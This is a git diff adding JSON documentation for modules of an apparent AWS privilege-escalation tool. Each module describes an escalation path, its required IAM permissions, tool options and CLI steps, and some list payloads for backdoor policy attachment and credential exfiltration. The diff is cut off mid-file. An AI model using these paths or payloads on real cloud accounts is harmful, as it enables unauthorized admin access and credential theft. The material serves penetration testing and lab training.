\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-017.json b/docs/pathrunner/data/modules/iam-017.json
new file mode 100644
index 00000000..9a93cae9
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-017.json
@@ -0,0 +1,118 @@
+{
+  "id": "iam-017",
+  "name": "iam:PutRolePolicy + sts:AssumeRole",
+  "description": "Add an inline policy with admin permissions to a target role, then assume that role. The target role must have a trust policy allowing assumption. Inline policies are embedded directly in IAM roles and are often overlooked in security reviews.",
+  "category": "principal-access",
+  "services": [
+    "iam",
+    "sts"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-putrolepolicy-assumerole",
+    "exploit/iam_putrolepolicy_assumerole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-017",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PutRolePolicy",
+        "description": "Must have permission on the target role ARN"
+      },
+      {
+        "permission": "sts:AssumeRole",
+        "description": "Must have permission to assume the target role"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "View role trust policies"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Target role's trust policy must allow your principal to assume it"
+    ],
+    "lateral": [
+      "Target role's trust policy must allow your principal to assume it"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-017",
+      "url": "https://pathfinding.cloud/paths/iam-017"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-001",
+    "iam-005",
+    "iam-007",
+    "iam-012",
+    "iam-014",
+    "iam-016"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0008 - Lateral Movement"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "ARN of the IAM role to escalate and assume",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "POLICY_NAME",
+      "description": "Name for the inline policy to add",
+      "required": false,
+      "default": "pathrunner-admin",
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM/STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after assuming the role",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-017",
+    "pathrunner set TARGET_ROLE TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-017",
+  "gifs": [
+    {
+      "name": "iam-017",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-018.json b/docs/pathrunner/data/modules/iam-018.json
new file mode 100644
index 00000000..7eebe7d5
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-018.json
@@ -0,0 +1,116 @@
+{
+  "id": "iam-018",
+  "name": "iam:PutUserPolicy + iam:CreateAccessKey",
+  "description": "Add an inline policy with admin permissions to a target user, then create access keys for that user. Unlike managed policy attachment, inline policies are embedded directly in the user object and are less visible in some security reviews.",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-putuserpolicy-createaccesskey",
+    "exploit/iam_putuserpolicy_createaccesskey"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-018",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PutUserPolicy",
+        "description": "Must have access to add inline policies to the target user"
+      },
+      {
+        "permission": "iam:CreateAccessKey",
+        "description": "Must have permission to create access keys for the target user"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListUsers",
+        "description": "Discover available users"
+      },
+      {
+        "permission": "iam:ListAccessKeys",
+        "description": "Check existing access key count"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Target user must have fewer than 2 access keys (AWS limit)"
+    ],
+    "lateral": [
+      "Target user must have fewer than 2 access keys (AWS limit)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-018",
+      "url": "https://pathfinding.cloud/paths/iam-018"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-001",
+    "iam-002",
+    "iam-003",
+    "iam-014",
+    "iam-015"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0008 - Lateral Movement"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_USER",
+      "description": "Target IAM username",
+      "required": true,
+      "mockValue": "target-iam-user"
+    },
+    {
+      "name": "POLICY_NAME",
+      "description": "Name for the inline policy to add",
+      "required": false,
+      "default": "pathrunner-admin",
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM/STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after successful key creation",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-018",
+    "pathrunner set TARGET_USER target-iam-user",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-018",
+  "gifs": [
+    {
+      "name": "iam-018",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-019.json b/docs/pathrunner/data/modules/iam-019.json
new file mode 100644
index 00000000..7737675e
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-019.json
@@ -0,0 +1,102 @@
+{
+  "id": "iam-019",
+  "name": "iam:AttachRolePolicy + iam:UpdateAssumeRolePolicy",
+  "description": "Attach an admin managed policy to a target role and modify its trust policy to allow the attacker to assume it. Does NOT require pre-existing sts:AssumeRole permission \u2014 being explicitly named in the trust policy grants assumption ability.",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-attachrolepolicy-updateassumerolepolicy",
+    "exploit/iam_attachrolepolicy_updateassumerolepolicy"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-019",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:AttachRolePolicy",
+        "description": "Must have permission to attach policies to the target role"
+      },
+      {
+        "permission": "iam:UpdateAssumeRolePolicy",
+        "description": "Must have permission to modify the trust policy of the target role"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "View role trust policies"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An administrative managed policy must exist to attach (e.g., AdministratorAccess)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-019",
+      "url": "https://pathfinding.cloud/paths/iam-019"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamupdateassumerolepolicy"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0008 - Lateral Movement"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "Name of the IAM role to escalate and assume",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the managed policy to attach (defaults to AdministratorAccess)",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM/STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after assuming the role",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-019",
+    "pathrunner set TARGET_ROLE TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-019",
+  "gifs": [
+    {
+      "name": "iam-019",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-020.json b/docs/pathrunner/data/modules/iam-020.json
new file mode 100644
index 00000000..32004627
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-020.json
@@ -0,0 +1,112 @@
+{
+  "id": "iam-020",
+  "name": "iam:CreatePolicyVersion + iam:UpdateAssumeRolePolicy",
+  "description": "Create a new version of a customer-managed policy with admin permissions and update the target role's trust policy to allow assumption. Does not require sts:AssumeRole permission beforehand.",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-createpolicyversion-updateassumerolepolicy",
+    "exploit/iam_createpolicyversion_updateassumerolepolicy"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-020",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:CreatePolicyVersion",
+        "description": "Must have permission to create new versions of the target policy"
+      },
+      {
+        "permission": "iam:UpdateAssumeRolePolicy",
+        "description": "Must have permission to modify the trust policy of the target role"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "View role trust policies"
+      },
+      {
+        "permission": "iam:ListPolicyVersions",
+        "description": "List existing policy versions"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A customer-managed policy must be attached to the target role"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-020",
+      "url": "https://pathfinding.cloud/paths/iam-020"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamupdateassumerolepolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-001",
+    "iam-002",
+    "iam-009",
+    "iam-014"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0008 - Lateral Movement"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the customer-managed policy to create a new version of",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    },
+    {
+      "name": "TARGET_ROLE",
+      "description": "Name of the IAM role to update trust policy for and assume",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM/STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after assuming the role",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-020",
+    "pathrunner set POLICY_ARN arn:aws:iam::123456789012:policy/TargetPolicy",
+    "pathrunner set TARGET_ROLE TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-020",
+  "gifs": [
+    {
+      "name": "iam-020",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-021.json b/docs/pathrunner/data/modules/iam-021.json
new file mode 100644
index 00000000..6fe7bf42
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-021.json
@@ -0,0 +1,104 @@
+{
+  "id": "iam-021",
+  "name": "iam:PutRolePolicy + iam:UpdateAssumeRolePolicy",
+  "description": "Add an inline policy with admin permissions to a target role and modify its trust policy to allow assumption. When a principal is explicitly named in a trust policy, they can assume the role without separate sts:AssumeRole permissions.",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-putrolepolicy-updateassumerolepolicy",
+    "exploit/iam_putrolepolicy_updateassumerolepolicy"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-021",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PutRolePolicy",
+        "description": "Must have permission to add inline policies to the target role"
+      },
+      {
+        "permission": "iam:UpdateAssumeRolePolicy",
+        "description": "Must have permission to modify the trust policy of the target role"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discover available roles"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "View role trust policies"
+      }
+    ]
+  },
+  "prerequisites": {},
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-021",
+      "url": "https://pathfinding.cloud/paths/iam-021"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamupdateassumerolepolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-007",
+    "iam-014",
+    "iam-015",
+    "iam-018"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0008 - Lateral Movement"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_ROLE",
+      "description": "Name of the IAM role to escalate and assume",
+      "required": true,
+      "mockValue": "TargetRoleName"
+    },
+    {
+      "name": "POLICY_NAME",
+      "description": "Name for the inline policy to add",
+      "required": false,
+      "default": "pathrunner-admin",
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM/STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after assuming the role",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-021",
+    "pathrunner set TARGET_ROLE TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-021",
+  "gifs": [
+    {
+      "name": "iam-021",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/imagebuilder-001.json b/docs/pathrunner/data/modules/imagebuilder-001.json
new file mode 100644
index 00000000..507f0936
--- /dev/null
+++ b/docs/pathrunner/data/modules/imagebuilder-001.json
@@ -0,0 +1,192 @@
+{
+  "id": "imagebuilder-001",
+  "name": "iam:PassRole + imagebuilder:CreateComponent + imagebuilder:CreateImageRecipe + imagebuilder:CreateInfrastructureConfiguration + imagebuilder:CreateImage",
+  "description": "A principal with iam:PassRole and EC2 Image Builder creation permissions can escalate privileges by building a pipeline: create a component containing malicious shell commands, add it to an image recipe, create an infrastructure configuration that passes an admin IAM instance profile, then trigger an image build. The Image Builder agent runs the component shell commands on an EC2 build instance with admin credentials available via IMDS.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "imagebuilder",
+    "ec2"
+  ],
+  "primaryService": "imagebuilder",
+  "aliases": [
+    "imagebuilder-passrole",
+    "exploit/imagebuilder_passrole"
+  ],
+  "author": "Zander Mackie (Datadog)",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/imagebuilder-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass the target admin IAM instance profile role to the EC2 Image Builder service"
+      },
+      {
+        "permission": "imagebuilder:CreateComponent"
+      },
+      {
+        "permission": "imagebuilder:CreateImageRecipe"
+      },
+      {
+        "permission": "imagebuilder:CreateInfrastructureConfiguration"
+      },
+      {
+        "permission": "imagebuilder:CreateImage"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "imagebuilder:GetComponent",
+        "description": "Verify component creation"
+      },
+      {
+        "permission": "imagebuilder:GetImage",
+        "description": "Poll image build status"
+      },
+      {
+        "permission": "imagebuilder:GetImageRecipe",
+        "description": "Verify recipe configuration"
+      },
+      {
+        "permission": "imagebuilder:GetInfrastructureConfiguration",
+        "description": "Verify infrastructure configuration"
+      },
+      {
+        "permission": "imagebuilder:TagResource",
+        "description": "Required in some regions or configurations"
+      },
+      {
+        "permission": "ec2:DescribeImages",
+        "description": "Find the base AMI for the image recipe"
+      },
+      {
+        "permission": "imagebuilder:ListImages",
+        "description": "Discover existing images and build status"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Verify privilege escalation success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that can be used as an EC2 instance profile (trusts ec2.amazonaws.com)",
+      "The role must have administrative permissions (e.g., AdministratorAccess or equivalent)",
+      "The AWS Image Builder service-linked role (AWSServiceRoleForImageBuilder) must exist in the account"
+    ],
+    "lateral": [
+      "A role must exist that can be used as an EC2 instance profile and has elevated permissions",
+      "The AWSServiceRoleForImageBuilder SLR must exist in the account"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - imagebuilder-001",
+      "url": "https://pathfinding.cloud/paths/imagebuilder-001"
+    },
+    {
+      "title": "Actions defined by EC2 Image Builder",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonec2imagebuilder.html"
+    },
+    {
+      "title": "Security best practices in EC2 Image Builder",
+      "url": "https://docs.aws.amazon.com/imagebuilder/latest/userguide/security-best-practices.html"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "INSTANCE_PROFILE",
+      "description": "Admin IAM instance profile NAME to pass to the Image Builder build EC2 instance (not ARN \u2014 the API requires the profile name)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role name/ARN to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Image Builder resources",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "SUBNET_ID",
+      "description": "Subnet ID for the Image Builder build EC2 instance (uses default VPC subnet if omitted)",
+      "required": false,
+      "mockValue": "subnet-0123456789abcdef0"
+    },
+    {
+      "name": "SECURITY_GROUP_ID",
+      "description": "Security group ID for the build EC2 instance (optional; Image Builder uses the default SG if omitted)",
+      "required": false,
+      "mockValue": "sg-0123456789abcdef0"
+    },
+    {
+      "name": "POLICY_ARN",
+      "description": "Policy ARN to attach to TARGET_ARN via the build component",
+      "required": false,
+      "default": "arn:aws:iam::aws:policy/AdministratorAccess",
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    },
+    {
+      "name": "COMPONENT_NAME",
+      "description": "Name prefix for the Image Builder component (auto-generated if omitted)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete Image Builder resources after execution (note: the starting user typically lacks imagebuilder:Delete* \u2014 use workspace cleanup with admin credentials)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess to an IAM user or role via EC2 Image Builder component using IMDS credentials",
+      "slug": "imagebuilder-backdoor-attach-policy",
+      "qualifiedName": "imagebuilder:backdoor/attach-policy",
+      "service": "imagebuilder",
+      "tags": [
+        "imagebuilder",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use imagebuilder-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set INSTANCE_PROFILE arn:aws:iam::123456789012:instance-profile/TargetInstanceProfile",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "imagebuilder-001",
+  "gifs": [
+    {
+      "name": "imagebuilder-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/kinesisanalytics-001.json b/docs/pathrunner/data/modules/kinesisanalytics-001.json
new file mode 100644
index 00000000..99a29e62
--- /dev/null
+++ b/docs/pathrunner/data/modules/kinesisanalytics-001.json
@@ -0,0 +1,173 @@
+{
+  "id": "kinesisanalytics-001",
+  "name": "iam:PassRole + kinesisanalytics:CreateApplication + kinesisanalytics:StartApplication",
+  "description": "Create a Managed Apache Flink application with a privileged service execution role, start it to execute a malicious JAR from S3 with the role's credentials.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "kinesisanalytics"
+  ],
+  "primaryService": "kinesisanalytics",
+  "aliases": [
+    "kinesisanalytics-passrole",
+    "exploit/kinesisanalytics_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/kinesisanalytics-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass the target admin IAM role to kinesisanalytics.amazonaws.com"
+      },
+      {
+        "permission": "kinesisanalytics:CreateApplication"
+      },
+      {
+        "permission": "kinesisanalytics:StartApplication"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "kinesisanalytics:DescribeApplication",
+        "description": "Poll application status to confirm execution"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Verify backdoor/attach-policy payload succeeded"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role trusting kinesisanalytics.amazonaws.com with administrative permissions",
+      "S3 bucket accessible to the Flink application's execution role containing the payload JAR"
+    ],
+    "lateral": [
+      "IAM role trusting kinesisanalytics.amazonaws.com with elevated permissions",
+      "S3 bucket accessible to the Flink application's execution role containing the payload JAR"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - kinesisanalytics-001",
+      "url": "https://pathfinding.cloud/paths/kinesisanalytics-001"
+    },
+    {
+      "title": "Actions defined by Amazon Kinesis Data Analytics",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonkinesisdataanalytics.html"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1578 - Modify Cloud Compute Infrastructure"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "IAM role ARN to pass as the Flink application service execution role (must trust kinesisanalytics.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type to execute (backdoor/attach-policy, exfil/https, exfil/s3)",
+      "required": true
+    },
+    {
+      "name": "CODE_BUCKET",
+      "description": "S3 bucket containing the payload JAR. Auto-resolved from the attacker code bucket if unset.",
+      "required": false,
+      "mockValue": "target-bucket-123456789012"
+    },
+    {
+      "name": "CODE_KEY",
+      "description": "S3 key of the payload JAR within CODE_BUCKET. Auto-resolved from the payload's JAR key if unset.",
+      "required": false
+    },
+    {
+      "name": "LOCAL_JAR",
+      "description": "Local path to the payload JAR to upload to the attacker code bucket. Required when using the attacker code bucket and the JAR has not been uploaded yet. Example: ../pathfinding-labs/.../exploit-jar/exploit.jar",
+      "required": false
+    },
+    {
+      "name": "APP_NAME",
+      "description": "Managed Apache Flink application name (auto-generated if unset)",
+      "required": false,
+      "mockValue": "target-app"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for the Flink application",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Stop and delete the Flink application after execution (requires kinesisanalytics:StopApplication and kinesisanalytics:DeleteApplication)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach an IAM policy to a user or role via a Managed Apache Flink application running with an admin execution role",
+      "slug": "kinesisanalytics-backdoor-attach-policy",
+      "qualifiedName": "kinesisanalytics:backdoor/attach-policy",
+      "service": "kinesisanalytics",
+      "tags": [
+        "kinesisanalytics",
+        "java",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate execution role credentials to an attacker HTTPS endpoint via a Managed Apache Flink application",
+      "slug": "kinesisanalytics-exfil-https",
+      "qualifiedName": "kinesisanalytics:exfil/https",
+      "service": "kinesisanalytics",
+      "tags": [
+        "kinesisanalytics",
+        "java",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled S3 bucket via a Managed Apache Flink application",
+      "slug": "kinesisanalytics-exfil-s3",
+      "qualifiedName": "kinesisanalytics:exfil/s3",
+      "service": "kinesisanalytics",
+      "tags": [
+        "kinesisanalytics",
+        "java",
+        "exfil",
+        "filesystem"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use kinesisanalytics-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "kinesisanalytics-001",
+  "gifs": [
+    {
+      "name": "kinesisanalytics-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/lambda-001.json b/docs/pathrunner/data/modules/lambda-001.json
new file mode 100644
index 00000000..45268e89
--- /dev/null
+++ b/docs/pathrunner/data/modules/lambda-001.json
@@ -0,0 +1,234 @@
+{
+  "id": "lambda-001",
+  "name": "iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction",
+  "description": "Create a Lambda function with a privileged role, invoke it to execute code with the role's permissions",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "lambda"
+  ],
+  "primaryService": "lambda",
+  "aliases": [
+    "lambda-passrole",
+    "exploit/lambda_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/lambda-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN"
+      },
+      {
+        "permission": "lambda:CreateFunction"
+      },
+      {
+        "permission": "lambda:InvokeFunction"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role with desired permissions and trust policy allowing Lambda"
+    ],
+    "lateral": [
+      "Principal with iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - lambda-001",
+      "url": "https://pathfinding.cloud/paths/lambda-001"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to assume",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (exfil/response, exfil/https, backdoor/attach-policy, backdoor/create-role, backdoor/create-user)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Lambda function deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "FUNCTION_NAME",
+      "description": "Lambda function name",
+      "required": false,
+      "mockValue": "target-lambda-function"
+    },
+    {
+      "name": "RUNTIME",
+      "description": "Lambda runtime",
+      "required": false,
+      "default": "python3.9"
+    },
+    {
+      "name": "TIMEOUT",
+      "description": "Function timeout in seconds",
+      "required": false,
+      "default": "30"
+    },
+    {
+      "name": "MEMORY_SIZE",
+      "description": "Function memory size in MB",
+      "required": false,
+      "default": "128"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Clean up created resources after execution",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role",
+      "slug": "lambda-backdoor-attach-policy",
+      "qualifiedName": "lambda:backdoor/attach-policy",
+      "service": "lambda",
+      "tags": [
+        "lambda",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
